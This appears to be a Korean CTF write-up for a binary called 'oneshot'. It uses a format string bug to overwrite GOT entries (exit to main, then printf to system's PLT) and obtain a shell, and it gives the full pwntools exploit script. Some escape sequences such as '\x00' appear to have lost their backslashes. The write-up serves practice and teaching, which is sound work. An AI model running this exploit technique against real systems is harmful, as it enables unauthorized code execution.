

C코드이다. 굉장히 짧고, 예시에서 보여주신 것과 비슷하지만, gift함수의 system에 인자로 ‘gift’가 전달되고 있다. 따라서 gift 함수를 실행하기 보다는 system 함수의 plt 주소를 얻을 수 있는 것에 만족하자.
buf에 크기만큼 입력받고 있기 때문에 bof는 힘들 것 같고, FSB로 풀어야하는 문제 같다.
문제 풀이 방법은 그다지 어려워 보이지 않는다. 먼저 main 함수에서 한번에 exploit하기는 힘들어보이니 exit의 got주소를 main 함수의 주소로 덮어서 main 함수를 반복적으로 실행할 수 있도록 한다.
그 다음, 우리가 발견할 수 있는 취약점이 하나 더 있다. 바로 printf에 buf만을 인자로 바로 전달하고 있는 것이다. 따라서 우리는 printf의 got주소를 system함수의 plt로 덮고, buf에 /bin/sh를 써서 system(/bin/sh)를 실행할 수 있다!
FSB를 이용해서 덮을 때에는 %{숫자}$n을 활용하면 된다. 이는 앞에서 출력한 문자열의 수를 우리가 지정해주는 주소에 쓸 수 있기에, 우리가 원하는 함수(main 함수, system의 plt)만큼 출력하고 덮으려는 주소를 전달해주면 된다. 하지만 함수 주소값에 해당하는 만큼 모두 출력하려면 시간이 오래 걸리기 때문에 이를 2-4byte씩 잘라서 high, mid, low 값으로 전달해주는 것이 좋다.
먼저 exit의 got주소에 main 함수의 주소를 써서 덮는다.
~
main_h = main >> 16
main_l = main & 0xffff
log.info('main_h : ' + hex(main_h))
log.info('main_l : ' + hex(main_l))
p.recvuntil(b'nn')
payload = f'%{main_h}c'.encode()
payload += b"%10$hn"
payload += f"%{main_l - main_h}c".encode()
payload += b"%11$hn"
payload = payload.ljust(0x20, b"x00")
payload += p64(exit_got + 2)
payload += p64(exit_got)
pause()
p.send(payload)
~

main 함수로 돌아가는 데 성공했다!
그 다음, printf 함수의 got 주소를 system 함수의 plt로 덮는다.
처음에 실행했던 코드 부분이다.
~
system_plt_h = system_plt >> 16
system_plt_l = system_plt & 0xffff
log.info('system_plt_h : ' + hex(system_plt_h))
log.info('system_plt_l : ' + hex(system_plt_l))
p.recvuntil(b'nn')
payload = f'%{system_plt_h}c'.encode()
payload += b'%10$hn'
payload += f'%{system_plt_l - system_plt_h}c'.encode()
payload += b'%11$hn'
payload = payload.ljust(0x20, b"x00")
payload += p64(printf_got + 2)
payload += p64(printf_got)
pause()
p.send(payload)
~
분명 맞게 작성한 것 같은데 계속 실패했다,, gdb로 실제 printf의 got 주소를 열어보니 상상치도 못한 문제가 발생했던 것을 확인했다.

printf의 got 주소에 저장된 printf의 실제 주소는 system의 plt보다 긴 6바이트 주소로 되어 있었다! 때문에 system 함수의 plt만 덮으면 값이 이상하게 변조되기만 하고 system 함수가 실행되지 않던 것이다!
이런 경우에는 상위 바이트까지 0으로 덮어주는 과정이 필요하다. 해당 과정을 포함한 코드는 다음과 같다.
~
system_plt_h = system_plt >> 16
system_plt_l = system_plt & 0xffff
log.info('system_plt_h : ' + hex(system_plt_h))
log.info('system_plt_l : ' + hex(system_plt_l))
p.recvuntil(b'nn')
payload = f'%{system_plt_h}c'.encode()
payload += b'%12$hn'
payload += f'%{system_plt_l - system_plt_h}c'.encode()
payload += b'%13$hn'
payload += f'%{0x10000 - system_plt_l}c'.encode()
payload += b'%14$hn'
payload = payload.ljust(0x30, b"x00")
payload += p64(printf_got + 2)
payload += p64(printf_got)
payload += p64(printf_got + 4)
pause()
p.send(payload)
~
0x10000-system_plt_1만큼 추가로 패딩하면 0x10000을 저장해야 하는데, 2byte만 저장하기로 지정했기에 0x0000만 덮을 수 있게 된다!
이렇게 printf의 got 주소에 system의 plt를 덮고, buf에 /bin/sh를 입력해주면 exploit에 성공하게 된다!
전체 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./oneshot')
e = ELF('./oneshot')
main=0x4011cd
exit_got = e.got['exit']
system_plt = e.plt['system']
printf_got = e.got['printf']
printf_plt = e.plt['printf']
main_h = main >> 16
main_l = main & 0xffff
log.info('main_h : ' + hex(main_h))
log.info('main_l : ' + hex(main_l))
p.recvuntil(b'nn')
payload = f'%{main_h}c'.encode()
payload += b"%10$hn"
payload += f"%{main_l - main_h}c".encode()
payload += b"%11$hn"
payload = payload.ljust(0x20, b"x00")
payload += p64(exit_got + 2)
payload += p64(exit_got)
pause()
p.send(payload)
system_plt_h = system_plt >> 16
system_plt_l = system_plt & 0xffff
log.info('system_plt_h : ' + hex(system_plt_h))
log.info('system_plt_l : ' + hex(system_plt_l))
p.recvuntil(b'nn')
payload = f'%{system_plt_h}c'.encode()
payload += b'%12$hn'
payload += f'%{system_plt_l - system_plt_h}c'.encode()
payload += b'%13$hn'
payload += f'%{0x10000 - system_plt_l}c'.encode()
payload += b'%14$hn'
payload = payload.ljust(0x30, b"x00")
payload += p64(printf_got + 2)
payload += p64(printf_got)
payload += p64(printf_got + 4)
pause()
p.send(payload)
p.recvuntil(b'nn')
pause()
p.send(b'/bin/shx00')
p.interactive()

쉘을 따냈다!